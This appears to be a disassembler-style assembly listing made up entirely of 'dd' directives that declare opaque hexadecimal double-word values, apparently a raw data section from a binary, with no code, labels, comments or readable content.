		dd 4EC86450h, 0A7105B51h, 0BA2797D8h, 0A1EB8998h, 8054E576h
		dd 0A53EEB20h, 0B63513C7h, 3C4C4E94h, 5774DE79h, 0F4206414h
		dd 6EDF1042h, 0B7B34E18h, 4CD22B55h, 152DF221h,	490C1170h
		dd 243D273Bh, 0DFEF77F6h, 8B233CBEh, 0F689E90Ch, 39F9C7E3h
		dd 0E5FFD732h, 0CC7D49DCh, 272253F6h, 0F86888Ah, 0B9FD558Ah
		dd 45C6F584h, 0ADD2ABF6h, 11EB2202h, 40DA6477h,	0F889F5F4h
		dd 9CC7B23Bh, 67FA8D13h, 0BDD28955h, 33E8010Eh,	8DBA13A1h
		dd 3AFC49F7h, 0A23A0AF5h, 628E45EEh, 17BAF5D0h,	1A6CFEC6h
		dd 43F0F269h, 0B4EC12D0h, 5A232FBEh, 62A9AFB8h,	74BE4F17h
		dd 21CBA220h, 425C2D80h, 164802C4h, 7C20C9CFh, 112368F9h
		dd 7A16435Dh, 200FE597h, 10FEFF55h, 0FD8A0E75h,	8A20087h
		dd 34B374A7h, 0C451533Bh, 1828459Eh, 0ED755F50h, 20506D5Eh
		dd 3BD38601h, 0B52B2E86h, 6E247459h, 0FFF17967h, 35573075h
		dd 5A44DF9Bh, 9D1F4397h, 0D10BB362h, 25501E39h,	9B685EF9h
		dd 5008C247h, 0E2A68225h, 4857752Ah, 5569509Dh,	57E61823h
		dd 412F95E2h, 7A72EA32h, 0E6791285h, 4295D427h,	63644450h
		dd 35D12AF9h, 4447E281h, 604FA65h, 15980F75h, 20CD2D80h
		dd 1F6C6874h, 0E8785A81h, 2775843Ch, 822458Ah, 48281A52h
		dd 47524E09h, 0F42283C4h, 10090EC7h, 2855573Ah,	0C5BC423Dh
		dd 0D0BF08FDh, 0B547E048h, 220A0A2Ch, 0EC2EF11Bh, 0A32EED40h
		dd 426AEC40h, 716FCF27h, 2B1832A2h, 0F19D8E9Dh,	2827C479h
		dd 0AD7D6FCh, 492398D8h, 0C9D0E77Fh, 0BB957078h, 0CDABBD3Bh
		dd 1F963541h, 1702889Ah, 0FFC5D174h, 522CC203h,	24581FAh
		dd 4C004E0h, 5461950Ch,	48E20101h, 97754A24h, 9DB4359h
		dd 50A4444h, 7485D88Eh,	606B3A55h, 548AEC2Ch, 88051310h
		dd 4A8DCE11h, 1027CCCAh, 2EED4DE4h, 5A29DB6h, 8D4F0F58h
		dd 0ECBC72AEh, 0B1291512h, 6B500AD4h, 75842EFDh, 0FFDDBA4Dh
		dd 52BF43Fh, 0E8121DFEh, 792C25F1h, 0B817D3F6h,	9C229261h
		dd 3164750Ah, 11B76DFAh, 243AFD39h, 0E8F6C04Bh,	73972523h
		dd 6FE99C02h, 0C495BD66h, 4826ED6Ah, 0BE5C87F4h, 84459F10h
		dd 531302B4h, 974477E0h, 174AF55Eh, 7C397588h, 0F738A6Fh
		dd 762A92C9h, 88851421h, 0A982024Ch, 12ED9F36h,	4160F8Ah
		dd 0F155FB8Ah, 37880C0Ch, 0CBA51144h, 859CE3E6h, 9BB964Fh
		dd 72C139D6h, 57B83E83h, 1A0B704Eh, 179B5E75h, 750340D9h
		dd 8910CFF4h, 50FAF8Ah,	9B2A02CAh, 88870421h, 0E9950854h
		dd 921C7EEh, 0D4BE4CEh,	91D345A8h, 781088EBh, 0B8A3F4E0h
		dd 3576E917h, 625B1BAh
		dd 0FF54F2BFh, 475373A8h, 14212A4h, 0A41A3A22h,	0EE530229h
		dd 1C0A46D2h, 98261C5Bh, 88023FACh, 7FC59BDAh, 0C072E989h
		dd 2E88294Fh, 0BC5B9CA7h, 19D9D0Fh, 97E45589h, 69094445h
		dd 204DA22Bh, 0A921B7F0h, 140D01C6h, 5C2D695Fh,	15B749D5h
		dd 0E0334928h, 0A6749648h, 1AC19718h, 11CF42F9h, 2C15C695h
		dd 0F03FB550h, 88E4450Bh, 4DEB0923h, 29E15D5Fh,	40A01646h
		dd 4184FA55h, 10AC245h,	962BEB50h, 31FF17C1h, 1C6DDE39h
		dd 205ADDE0h, 4AF19D9Ah, 0E2E189BCh, 4DF854C4h,	29572A4Dh
		dd 24BC80A8h, 0A104D096h, 8883610h, 51495E4h, 0CFBDF04Fh
		dd 948FAD2h, 944767D1h,	0AE0661FCh, 38BB4A1Ah, 568C0400h
		dd 0DC112A48h, 99FBA5ADh, 3A71FED4h, 2A6249C5h,	3A9636B2h
		dd 51D00CC4h, 7380E055h, 7461197Dh, 0D9720D31h,	0E0771308h
		dd 9735EB13h, 0E4240394h, 0C8BA650Ch, 29236F15h, 649FD403h
		dd 244CD6C9h, 44091944h, 0CA815501h, 12C6807h, 0BA532144h
		dd 910C7EDCh, 0D16BBBA2h, 0D998C464h, 0BD848C7Fh, 5B8241A4h
		dd 8302D43h, 46BC4D4h, 0F9122BC1h, 0F49047Ch, 0FBCD5A87h
		dd 8A9C05F7h, 0EA7B1581h, 0ED85F0D0h, 0B8CA827Ah, 9751C65Dh
		dd 2246A2D9h, 0CEC1782h, 1278A602h, 0D2BBFEE1h,	56C3E4CBh
		dd 5531EE95h, 0B851FC24h, 4C5215E9h, 5EB858ECh,	4FCAE7C0h
		dd 37A0F776h, 6259CE80h, 0AD9BF1E9h, 468625F3h,	6C02F397h
		dd 0CD318073h, 0CEE9B140h, 0A3C372Bh, 2510511Dh, 88E60DCAh
		dd 8A40CEE7h, 0D424AAE9h, 0BF2507EFh, 85868F23h, 240EDADDh
		dd 0C488867Fh, 0EB8820C9h, 6421A765h, 0B2CA0F55h, 0A64490B4h
		dd 880EF7ADh, 0AFFA710h, 40912B40h, 401108A2h, 0DECAAF14h
		dd 0F95DE912h, 2BEC5E0Ch, 70159670h, 5B38E850h,	0F1B5709Ah
		dd 96766E22h, 0D2D3AADh, 6AA6EA2Ch, 58092C1Eh, 691A9414h
		dd 8FDD0C2Bh, 7C18FA02h, 0AAD5537Dh, 11981B77h,	0FFA79E08h
		dd 6120B0BBh, 0EA104AF8h, 481B4C28h, 4624D679h,	90599DAh
		dd 261991E4h, 9C115533h, 0F7C00922h, 29706313h,	0B3010953h
		dd 268FC01h, 0C604033Fh, 0F8060587h, 6520759h, 5A50F608h
		dd 27696C5Fh, 12DEB70Ch, 727854F2h, 43696E5Fh, 8D857FF6h
		dd 2F3B7974h, 75F165B2h, 2F27595Eh, 807C61B3h, 0F98EA88Ch
		dd 491E8A0Eh, 40C6DD72h, 1231CB52h, 3CE173E9h, 4E5E4E0Bh
		dd 6A49714Ah, 18DF82FFh, 38D013D1h, 425141E8h, 0CB107A2Ah
		dd 489C25Bh, 46A6B691h,	0ACB1973Bh, 47B3A72Fh, 53A8C416h
		dd 4336979h, 0FEF2E905h, 48D07ABCh, 63969F76h, 190CCEA1h
		dd 8401488h, 10A4D64h, 2C1CE41Dh, 0F8FF4B10h, 0B64AC4BCh
		dd 0F81CD8EAh, 495059B5h, 0CA30E25Fh, 42E0DBD0h, 0C18D164h
		dd 0F6EB85A9h, 2D9C9B7h, 72AAF013h, 0D31829Eh, 1B402F0Ah
		dd 8877ECD5h, 16D010EFh, 0CA90FC4Eh, 24DACE4Ah,	1C4F1017h
		dd 0B1D663B4h, 51A73A4Eh, 0B0B7FE35h, 1753EB8Ah, 20CA1111h
		dd 0A1215790h, 2911721h, 0EF8A3791h, 7ED1ED0Fh,	0B29650E3h
		dd 2D374DFDh, 70B8FCF8h, 82BF2E75h, 9192860h, 4813AA8Ch
		dd 0D1247589h, 273898F0h, 89FE9C34h, 986EF2E9h,	95B42F97h
		dd 5B3E2C53h, 0FE0CAF8h, 6E93D884h, 10271720h, 7D7F682Bh
		dd 24682521h, 0A0BB4D93h, 84563752h, 2B2AA7B6h,	0AFBFF0CAh
		dd 0D243EC2Bh, 8AC5FAB1h, 0E91F1B8h, 0EA21183Fh, 48045089h
		dd 0B71C7EB1h, 222A2573h, 0F040A992h, 9C6A5F92h, 485DEB68h
		dd 5DFF27B1h, 0C9D3F40Eh, 2536F2EAh, 0B0D7C803h, 0E94450A7h
		dd 4B973809h, 101F32BFh, 4485C86Bh, 3465E54Dh, 8EBD6025h
		dd 1EEB2575h, 476946BAh, 7599EE8Dh, 59590B1Dh, 74A7C15Ah
		dd 8CE73A14h, 8099297h,	0C7EBA3F4h, 25816770h, 22F2AFA8h
		dd 85899C4Fh, 0C413D44Eh, 7E98A1E3h, 82A28A0Ch,	55F3A7F7h
		dd 29C46549h, 0BD60C6Eh, 2EABBDFDh, 0B6C98CE9h,	54C441Bh
		dd 7C20F983h, 432B1E1Fh, 167F78FAh, 71451231h, 78255088h
		dd 8995802Ah, 5BD3708Dh, 29095EBEh, 958B8A63h, 0E63F2E0Ah
		dd 941A56E8h, 5F5970C1h, 6851CC0Bh, 5AAE5FBBh, 600CA22h
		dd 5F870F07h, 8D8BCBC5h, 24DD0D1Fh, 1C1C84D2h, 51C4DE25h
		dd 7BB66BD8h, 958D58B0h, 6C7DA4A2h, 0A0A284DDh,	930C3637h
		dd 135ABC5Fh, 7BEEEDEBh, 0D44FEB9Eh, 338493B7h,	30F03482h
		dd 0E4890186h, 0A5428218h, 0C68DD1A1h, 54E4588Bh, 9690E884h
		dd 20BDE21h, 0AB8E90Ch,	497DF15Dh, 0C48D7AA3h, 0DAEA4F41h
		dd 87BCB213h, 4968850Ch, 0BBB1A09h, 0FDCC85B8h,	700154FFh
		dd 0A76E9D0h, 78324E93h, 6091A68h, 0FA208107h, 1BD4509h
		dd 48771006h, 0E41E548Bh, 0CF7BC18h, 0FC08EFA4h, 44F84B0h
		dd 292836D2h, 145DAECBh, 0A7264E59h, 41136916h,	200414C2h
		dd 84582708h, 8A0A07E9h, 752A05BDh, 0D2FF8D33h,	2346239Bh
		dd 0DAAA8ED0h, 5060EE2h, 3108167Dh, 7F2B404h, 0BAD9F711h
		dd 0A112AC08h, 0D26B84D7h, 8D08880Ah, 0D0024C14h, 0AFE98219h
		dd 86DD9409h, 84A07FD6h, 0CE311B91h, 0F43E8D27h, 0B53BCB2h
		dd 0BBCC2167h, 100A2443h, 8DB73E73h, 40C92242h,	11414455h
		dd 54E91D10h, 44229109h, 64683764h, 0A0E11F49h,	772E1B06h
		dd 9CFC7C6Ch, 428CE122h, 451088CDh, 4073A34Ch, 2FB736F7h
		dd 22CC7744h, 0BE92BC34h, 6D22275Fh, 41153C57h,	409C2A2Bh
		dd 0F248FBE9h, 110A9113h, 2FC84E20h, 8CD2280h, 56C1E93Bh
		dd 608440DFh, 6A0E591h,	43E8831Fh, 0BD1409E9h, 0C4352606h
		dd 0A206C008h, 0BF8EB522h, 218C4C25h, 0DE108D97h, 69259C2Ch
		dd 5B288730h, 81295255h, 210DA05h, 3974D216h, 0AA23346h
		dd 9D663399h, 4E37ECFAh, 0C9A85145h, 3CB2996Ah,	84497B8h
		dd 29905397h, 7BC53E45h, 0AE268922h, 85A15039h,	8A338AB8h
		dd 881D068Dh, 0FA9A3DA8h, 4A122882h, 0E9E0ED01h, 5EA4541Ch
		dd 66326334h, 9C39AB4h,	0D58AF506h, 2F0F2256h, 2A480479h
		dd 58B7BC15h, 1CC6953Dh, 0FF38D0A8h, 0A28909E3h, 135F4FEBh
		dd 0C60882C2h, 0F2235184h, 22BE3305h, 3F90E097h, 112FBF0Fh
		dd 9410F9D1h, 1FCBA5E4h, 6C8ACC14h, 0E06C915Dh,	54983649h
		dd 87E9A302h, 0CF3054Bh, 5430E115h, 9D4D2551h, 393229F2h
		dd 410462D5h, 7F185C39h, 468F42BDh, 12895528h, 0F906E4A0h
		dd 8C14A8D9h, 94644DFh,	76528D45h, 68741810h, 33A2519Dh
		dd 26DD0DAEh, 9A8EFCD2h, 95086895h, 95D291ACh, 6414CA8h
		dd 4FDF102Fh, 3B42719Ah, 2AF21F29h, 118B26B5h, 2509FF44h
		dd 0EB091141h, 2B2048C7h, 0FAD190C5h, 5AEBF145h, 0A1086844h
		dd 76BA3984h, 0B04C52C6h, 66A8CAC5h, 4800FCE9h,	84D29660h
		dd 0B31F5617h, 0BFBC6EF8h, 22862E61h, 0C9EB2909h, 8D2B1B1Eh
		dd 6225819Ch, 0E2370404h, 84650894h, 0E5541014h, 1263334Ah
		dd 5105A41h, 2013C9A9h,	629D110Bh, 0C62212DCh, 88926CCh
		dd 17E97036h, 0C3E796D3h, 2D58A26h, 8820C280h, 0FC5E005Ah
		dd 8D53375Dh, 24533835h, 8C0CB428h, 0EB5B0662h,	7515981Ch
		dd 1EEDB313h, 0EBD26C67h, 104BFC66h, 83765DA2h,	58E91227h
		dd 0A041F071h, 919C95A5h, 97A090ABh, 95B64ABAh,	6A552E2Eh
		dd 22E3A41Eh, 0D10FB520h, 0EB4542C5h, 0B45352E5h, 16328480h
		dd 460D6CB1h, 5C434429h, 1479042Bh, 62A42B19h, 0A9325422h
		dd 5B571D6h, 8C12752Dh,	6E97016Dh, 0CC32F3A6h, 2835F084h
		dd 30C26E9h, 0C9C66F7Bh
		dd 8CB74D40h, 0D30AE5F7h, 55D4EAABh, 56EB0F28h,	82AE776h
		dd 7D04416h, 910A12E1h,	2C5C270Ch, 0FCEC9710h, 92525B9Fh
		dd 9B18AA1Dh, 0AA8B302Fh, 511E8328h, 0C6C1CA88h, 2F02296h
		dd 6D20EB34h, 84535634h, 742616A7h, 0E802C5FFh,	0A0A7D695h
		dd 0C08D1D17h, 686E8BDh, 8891FC93h, 888C5D50h, 75A491E9h
		dd 444D7C95h, 4011CC48h, 31521E89h, 69603235h, 35A799C0h
		dd 991EEB09h, 1E49174Bh, 68A1246Ah, 48AE3F20h, 0ED101B43h
		dd 0A225D105h, 0D245A51Ah, 0F4841B25h, 128D1C32h, 12409119h
		dd 8CC7413Eh, 352F7F08h, 0E81427Ch, 2A730221h, 0F72AA48Bh
		dd 2C4775C4h, 6009D183h, 0A9948571h, 4219983Dh,	0EB220100h
		dd 132A9218h, 235D431Dh, 0F675EB96h, 1FF210BAh,	832E19D0h
		dd 0C94B2199h, 15BC63Eh, 0E2A10EA8h, 392314F7h,	9224B40Bh
		dd 0AD5E0748h, 0D717F2C8h, 0AC65A352h, 0B5CA6D94h, 7F20867Fh
		dd 0B4368B14h, 71F5C932h, 86CAA969h, 6C505299h,	24C51783h
		dd 56B815Ah, 30C0118Ch,	99907A9Ah, 3C8A2514h, 8940E69h
		dd 0A57079E8h, 952B3BE3h, 262E20B5h, 22C07E39h,	3E034C37h
		dd 98D043D0h, 9958A14h,	0BB1FD74Fh, 0E963EAD4h,	0AA1E7252h
		dd 9129CCB4h, 3D24E9EBh, 4E293302h, 3060C86Fh, 0DC9AA49Dh
		dd 0EC3D180Ah, 30F0C635h, 32676595h, 0F82BC4F6h, 285A9D90h
		dd 0B16B0491h, 100C01F2h, 2D12D59Bh, 32C90DEDh,	8D74F1Ah
		dd 2BC41AE2h, 41A91828h, 910E1202h, 381D201Ah, 32B0D066h
		dd 41F006DCh, 303284A8h, 750F0C88h, 0A6C9F61Ch,	28E5E33Ah
		dd 52041B95h, 0DEE8206Ah, 10EC22EBh, 3DBC1C9Ch,	4755D53Fh
		dd 53030565h, 0FFC8241Eh, 0A9263088h, 0C20F044Eh, 3290E830h
		dd 17F2F977h, 0D8B5A8A4h, 0BD9A8E14h, 69A1E4E6h, 0A1DC0C80h
		dd 95087C9Ah, 98506A9h,	867F0723h, 826D7420h, 790E5528h
		dd 5AB60A72h, 785940Ah,	7814C25Fh, 1F82DD4Ch, 223E6ADFh
		dd 758BE809h, 8589DC51h, 0B5E21B74h, 2B02158Ch,	64A226EBh
		dd 42242674h, 29E81578h, 0A8AC93A7h, 0B31BEB85h, 0B92E9D94h
		dd 65A37C27h, 28222407h, 3D9174EFh, 8601A1F0h, 780DE92Dh
		dd 218B551Eh, 20833079h, 0BA834280h, 20FC0922h,	0C344816Bh
		dd 821E88D2h, 4813B181h, 9531932h, 4833243Eh, 7066915Eh
		dd 1730571h, 27B01A4h, 40A0363h, 995B3260h, 0A3245509h
		dd 2BB8AC48h, 1790104h,	0F020994h, 8CEC03A1h, 8858067h
		dd 0B9844010h, 407B8640h, 8B890183h, 31901999h,	5098835h
		dd 21AF1987h, 0A3499126h, 9709C531h, 0ED78D89h,	10A0501h
		dd 344023Fh, 1CFF04FEh,	7062005h, 43FCD7FFh, 3E0A0908h
		dd 0C200B0Ah, 2EEA0D4Ah, 4E0C2FF0h, 0FE0DF3E0h,	7C88CAF6h
		dd 0EC303526h, 0C4FE92FEh, 4FE7BFFDh, 0BB4DFC34h, 89783AA3h
		dd 7ED2B13h, 0ABF012DFh, 0E27EA0D9h, 400B30B4h,	0B601C710h
		dd 4FF849F4h, 0E2334DF7h, 0F095F709h, 6941CBA7h, 0C956B8FFh
		dd 5F207E0Bh, 8103F65h,	8DFF5C10h, 3AD9290Ch, 468D63Fh
		dd 0C07CD068h, 9041855Eh, 0DDFBF532h, 0D729CEBDh, 0E82B4BE6h
		dd 0BEE55309h, 80B99316h, 4595CB7h, 3196C59Dh, 4AFC4104h
		dd 0C9619D20h, 0D705F76Ah, 0F084AA51h, 6629403Ah, 41B04841h
		dd 53A397E8h, 0AEFC1583h, 3EC43542h, 12062845h,	8139A8FFh
		dd 68616A5Dh, 223A8D31h, 2557402h, 55349D56h, 74C28ED1h
		dd 0DCA9915h, 0F9B02F44h, 0F683D7C8h, 64262770h, 0AC5F4E8Dh
		dd 0A434DB47h, 0E69BAC56h, 0C97BE7DDh, 103A7BC7h, 8F48E815h
		dd 740A8447h, 1908A116h, 14D08650h, 0DBE6C7BFh,	30F2165Ch
		dd 1D40C7E0h, 0F643C850h, 412714C7h, 0D2F75414h, 716B8076h
		dd 0C44E4816h, 0F88EAED8h, 0E768630Dh, 11E61A65h, 38B233B7h
		dd 15458B5Eh, 0E6523B0Ah, 0A4237450h, 0A1E84BFBh, 0E2B5CA70h
		dd 5FA9EB16h, 9B930C11h, 0D4ED22F6h, 40AD6FD2h,	0FEB60F4h
		dd 3BB7F584h, 0A778DDA1h, 4879BD08h, 61FAC793h,	422479D1h
		dd 4CD71193h, 4A01F78Bh, 34640A3Ah, 4EE3928h, 1CF23D30h
		dd 1E1602F7h, 0E09E3843h, 0C439FC21h, 4EE3940h,	87443CE2h
		dd 85C8C03Dh, 1A798189h, 0F41D3B88h, 22CDAB08h,	9D293F33h
		dd 4F49B80Eh, 5580DEB4h, 90B66F4Dh, 1BDC2099h, 6AC0A04Eh
		dd 0A4E8193Fh, 0A4E959A1h, 9DEF37EAh, 3B8408A8h, 388C0D18h
		dd 0C411755Eh, 35A23F49h, 51226B8h, 1B5B7003h, 17DDEAE8h
		dd 7B866557h, 0C91E4243h, 0DFC342E4h, 543A7E7h,	7147DA0Fh
		dd 0C06B8784h, 0D0886230h, 913BB6A5h, 3E2D85C8h, 62DAA7F2h
		dd 8143B859h, 337CCF7Dh, 600C6F73h, 0A080C680h,	3DCB4F39h
		dd 74A3F4E2h, 7B730418h, 0D8D26BCFh, 8C8D3CA8h,	44E0C225h
		dd 0E6F85B12h, 0BD022232h, 4D646C79h, 4F7E4262h, 52E94193h
		dd 5969D99Bh, 3D2DD1CAh, 513D15D2h, 772C39B1h, 0FCD3161Dh
		dd 0FDA16190h, 0B2C8910Ah, 0A38825B3h, 90CDEB0Fh, 9F76E99Fh
		dd 89487E66h, 530ED328h, 0CCBBD39Ch, 10A21515h,	24AB560h
		dd 0A4A32D86h, 45D79D42h, 89BA6810h, 0EE7A7306h, 0BAC96B28h
		dd 0C056129Dh, 6F418C4Dh, 8901CBD4h, 8190550Ch,	0E8D3EB85h
		dd 5E230307h, 0A4A0C010h, 2575E8BDh, 1C69FEA6h,	4B66FE0h
		dd 2A544578h, 3C6509FEh, 4D414936h, 494F2249h, 82475520h
		dd 62A37565h, 32FFA4B5h, 0C5E9F8D3h, 0B2B58686h, 67E6202Dh
		dd 595585D8h, 1FDC401Bh, 29479AA3h, 3B414094h, 0D8101DF2h
		dd 692F17B2h, 0FE2E1288h, 0FE9E4FE7h, 0D3CE3AC8h, 0C673A549h
		dd 0A6683821h, 5422FF9Ch, 548AB817h, 48CA3491h,	0D7E36E08h
		dd 20648DDCh, 23E1F6F7h, 0B572D454h, 0C252184h,	7BC76DFBh
		dd 6A32EA75h, 3A61440Fh, 90AA04C7h, 0E802A027h,	5B0148ACh
		dd 719F65C4h, 3F702EEBh, 3B3460A4h, 10E81874h, 8B5439DDh
		dd 59448821h, 361D910Dh, 3EADE193h, 4E54A02Eh, 8028534h
		dd 911275FEh, 8150110h,	0EB8CE8A6h, 8FFD3132h, 1A88E410h
		dd 6910FC96h, 0C9EEA518h, 0A6E92F84h, 4079AE4Ah, 81E1306Eh
		dd 34EA4E9h, 58D0B324h,	0B22E7712h, 9076A854h, 91944EC4h
		dd 8BB095A2h, 2311B80Fh, 0BF17EB98h, 7E0F0866h,	89127E10h
		dd 0DA1CBF09h, 8ECCE8B2h, 9C8954Dh, 22A3919Ch, 0C83DE1AAh
		dd 2C50191h, 9FAF03h, 5E248188h, 8C40D04Eh, 0A762FBC6h
		dd 8A8C0584h, 9297538Dh, 1D636A2Dh, 0F9B06B3h, 96A1A956h
		dd 1CA100A3h, 0B3FB0505h, 0D312491Ch, 4513003Ch, 0FAE4D802h
		dd 6F8B5195h, 9A0239Fh,	1BBD812Ah, 157300FDh, 8A27A88Bh
		dd 8806A08Dh, 0FC05308Ch, 0C6D0EBA3h, 20088550h, 0EE958D1Fh
		dd 0E4CC79E7h, 0DBF2BF02h, 40928296h, 95BDF95Fh, 65473C89h
		dd 488B1ED0h, 881F0008h, 0C6C11077h, 5B511584h,	0ACC9D1EBh
		dd 0A44EC23Ah, 10C03B12h, 2DFDFCDCh, 9A1AFF52h,	747E2609h
		dd 6D7BBF88h, 8260D58h,	0E82B951Fh, 0C682BFBh, 511348B4h
		dd 55CA1C04h, 726A2021h, 0C4299081h, 0F329FAE8h, 0AA3512EDh
		dd 42A478D8h, 3595293Ah, 906F382Bh, 0C73CC0C8h,	0AB830F82h
		dd 1020ECF9h, 94A2499Fh, 95FD1620h, 53CA0D59h, 3AF0BA69h
		dd 84F36CF9h, 1438841Bh, 0C60D948Ah, 0A0D80493h, 1B594A38h
		dd 2A075A4Bh, 974D458Ch, 35529264h, 828A103Eh, 21200C85h
		dd 5281883Ah, 121A954Ch, 0E8BA856Dh, 244C6551h,	82E56C0Dh
		dd 0F7270E1Ch, 0BFB6A82Eh, 0DB2FD884h, 0D4BA9AC8h, 72294110h
		dd 5A05093Bh, 0B5753277h
		dd 0A410929Ch, 2195B340h, 0A762F1Bh, 8638F134h,	563BA451h
		dd 7A224461h, 20901AADh, 0E85283B8h, 0E8CAD0E3h, 1D5F8A47h
		dd 303D96F0h, 0A107745Eh, 799FF092h, 40737320h,	0A07B4A45h
		dd 0E812FDD6h, 2FA8F80Dh, 271305CAh, 0B37CD0D6h, 8B57A160h
		dd 0E7771975h, 2CE80530h, 1A5DE24Ch, 0E079F5E9h, 8C998D09h
		dd 4107D2Dh, 0AE35B351h, 6569AFB3h, 8ADCAEFFh, 0D7CBF2C9h
		dd 0E082051Ah, 9EF40855h, 0B7FB0A64h, 0A2CA5B39h, 426A4541h
		dd 41C60849h, 69EB8D40h, 0A515479Dh, 0AA0E971h,	3BA9A1DFh
		dd 39B64353h, 3072FE20h, 0D6662953h, 793189BBh,	4596911Dh
		dd 5E48783Bh, 43212FF2h, 6534772Dh, 70C61144h, 53769F02h
		dd 0E857DF51h, 73D4C9D8h, 45F0B656h, 394AB3A7h,	0ECD55C89h
		dd 2473222Dh, 0C3B41C0h, 0BF3FC0C5h, 0E8132281h, 5A983B66h
		dd 0C4D5360Ch, 0EB757023h, 54DDCDE4h, 587213CEh, 6E77240Dh
		dd 0BA12E00Dh, 33EBE798h, 0BC26812Ah, 16721311h, 3FC8CA22h
		dd 8FD06F26h, 0D19AA0Bh, 0FF8E1697h, 0F4008C97h, 9F08C088h
		dd 0E82A50CEh, 0C421038h, 17C9EA92h, 0EC30A82Ah, 7A468661h
		dd 3DDEE821h, 87FC9773h, 7197E478h, 1DF28DFFh, 1F55A5A2h
		dd 0CB021030h, 0C8097797h, 0C4304755h, 2F27F02h, 8550E01Ch
		dd 90659F76h, 0C9241E7h, 895C18D2h, 51784B8Fh, 707D6B38h
		dd 6479D9B5h, 0FC578CFDh, 75F26995h, 0DF34E92Ah, 14482572h
		dd 57C8EEACh, 79D1A5D2h, 8F9C7D52h, 0AD257450h,	0DFF88284h
		dd 34A86F40h, 2B5A4F44h, 0AD9A5E6Ah, 0E8048451h, 62BA211Dh
		dd 0C2FDF824h, 0EF230888h, 31855B32h, 18883B2Dh, 0ABADD214h
		dd 63373113h, 0BE33D5FBh, 21804DCh, 53E38AEBh, 7D2F287Eh
		dd 45B37AD4h, 0DB63A73Dh, 0BF669FFh, 708DF5Ah, 54DA00Ah
		dd 2CA810Ch, 0B8165211h, 1B81211h, 2BB993ACh, 74B1A0FCh
		dd 10D9D27h, 18682185h,	0ED0EC127h, 674A5FA1h, 0A887F510h
		dd 0AAD4BACDh, 47392467h, 992F199Dh, 20202B13h,	0BB90D2E8h
		dd 131B2273h, 0FCEEE480h, 0AB57A4D2h, 0AE937FE9h, 8CA5C839h
		dd 2471305Bh, 0B3C82B19h, 2D5C9D21h, 0FBA9F36Eh, 9F30567Ch
		dd 0D3595621h, 0C872AC2Eh, 2C0CC504h, 0A78D292Dh, 0D34CDD52h
		dd 0E6D82FD4h, 77FC9549h, 0C0BCC64h, 84C16ADCh,	0CA041264h
		dd 6A1A1281h, 0F3FE9994h, 0FFD11C00h, 0EAF72561h, 0CA0277AFh
		dd 717F0C55h, 479571E2h, 14BD951Eh, 452D2806h, 813DF47h
		dd 0BB4A33F2h, 13D8A491h, 1283263Fh, 0B24AAF46h, 0D854901Fh
		dd 0B579A632h, 509F91ECh, 9CE157E7h, 25FA830Bh,	1056047Dh
		dd 0C0B50E12h, 0F8C44011h, 339417C9h, 9708BD5Bh, 8DA8BC18h
		dd 0E494CC06h, 8EBDF03Ah, 0D8089654h, 90C03998h, 3E7CBB0h
		dd 812473E8h, 0EC38989Ch, 1201C87Bh, 0EA2485C7h, 8E8BB65h
		dd 0BCD8E836h, 42365149h, 0F4F1A58Dh, 1C0D0E4Ah, 0FA3C046Ah
		dd 9F05B7Dh, 1039D002h,	811D0804h, 0F3AC3EF4h, 1A12EADh
		dd 0BD971F07h, 27111899h, 1895258Bh, 0B0E868DEh, 0B9347E6Bh
		dd 81148D89h, 4C150572h, 13BAD050h, 0C6A8C7E9h,	228442DBh
		dd 44068A85h, 9E92A1Fh,	0B06BD14h, 59870F4Dh, 0BF222224h
		dd 0B1D8E4A2h, 0FA5B819h, 0F4BD28DDh, 12CC805h,	1B60F61Dh
		dd 12E980ECh, 75EB0C15h, 7EA992CEh, 3524363Eh, 251C252h
		dd 0F5345341h, 9E953828h, 243DA1E2h, 7985A72Eh,	0CA6C7D8Ah
		dd 43D40EC8h, 299233EBh, 80C83F40h, 0AC88BAA1h,	0C532D60Ch
		dd 0C1431404h, 903C1332h, 8B4B71Bh, 0A64EE808h,	9F91A3E9h
		dd 0BF90AC04h, 0A47E10C9h, 0F5A62C3Bh, 4A184BDh, 0BBB3C464h
		dd 0C6C4A406h, 4084A456h, 2B4875ECh, 7453B1EEh,	0F87C6EE6h
		dd 754319F9h, 0DECBE0Bh, 2CDA13DAh, 842B552Fh, 2FAC20CAh
		dd 3F746EC3h, 22630D3Bh, 5A7B7C1Eh, 8D004B18h, 682D9F5Ah
		dd 62F36C11h, 1BEBFD28h, 48729ADEh, 0BD10CB84h,	2328CBB1h
		dd 0A8182460h, 94B80A65h, 0BE320ECEh, 0FC8DD131h, 6881276Eh
		dd 63EA8387h, 0BD4509FAh, 2180609h, 280D948Bh, 672A522h
		dd 9AB24E21h, 4D190F26h, 0F545DA75h, 0EDAAC4C9h, 80EC1A24h
		dd 0DBA1097Eh, 0C7D90D9Ch, 418420F9h, 92454130h, 0A913F0C2h
		dd 254E6FEBh, 4AD128C8h, 0BE8D30Ah, 20BF04F4h, 860C26FEh
		dd 9305BFA3h, 2A945A5Eh, 982ED94h, 0EA802C68h, 6A9F73DDh
		dd 48B95AADh, 931718A0h, 7865EF41h, 26754B05h, 98632E25h
		dd 0CB17FA5Dh, 9AC2B47Bh, 0C86E5F20h, 263B0983h, 0D426D3ABh
		dd 158113Eh, 0DA3C1D45h, 8442E448h, 93D009D4h, 251585CAh
		dd 27FE0E92h, 0DDEB1C93h, 2B9F2CF5h, 0E64CB00Fh, 4154EF46h
		dd 0B93E8FB1h, 0C6BED3DFh, 0E5B72B0Bh, 9C7D272Ah, 42A04210h
		dd 25888C28h, 0A5C470E9h, 7B7D528Fh, 61562122h,	307DC13Bh
		dd 7BAA957Ah, 0F1E315Eh, 7E8E46F7h, 0F06F8C29h,	0EB1DA87Fh
		dd 0CC4DF70Eh, 814F625h, 112F4339h, 3B818943h, 4F3F7FCAh
		dd 0F8C114F3h, 86BAA8C0h, 448AE208h, 1CC21405h,	40F9C1E1h
		dd 0A00D44C3h, 0F49AEB2Eh, 4D95E942h, 8434A6CEh, 0BEB0E905h
		dd 0C8AA4D14h, 0BF19CB09h, 1CD742C4h, 9384E71Ah, 52E72095h
		dd 0E5835E8h, 0F028D213h, 2D89BB14h, 14CC5493h,	0C52A3CBCh
		dd 0A3C42836h, 6076D0Dh, 0E1DF508Ch, 0D888D12h,	7478ADA4h
		dd 0C868A582h, 0D05233F0h, 84945314h, 5BB4D023h, 6719D6B1h
		dd 94EACF0Fh, 30AAA40Ch, 8A767430h, 3B8455AAh, 72C83710h
		dd 132197DFh, 0D229FE1Bh, 0C32886Ah, 78C897ACh,	95A19211h
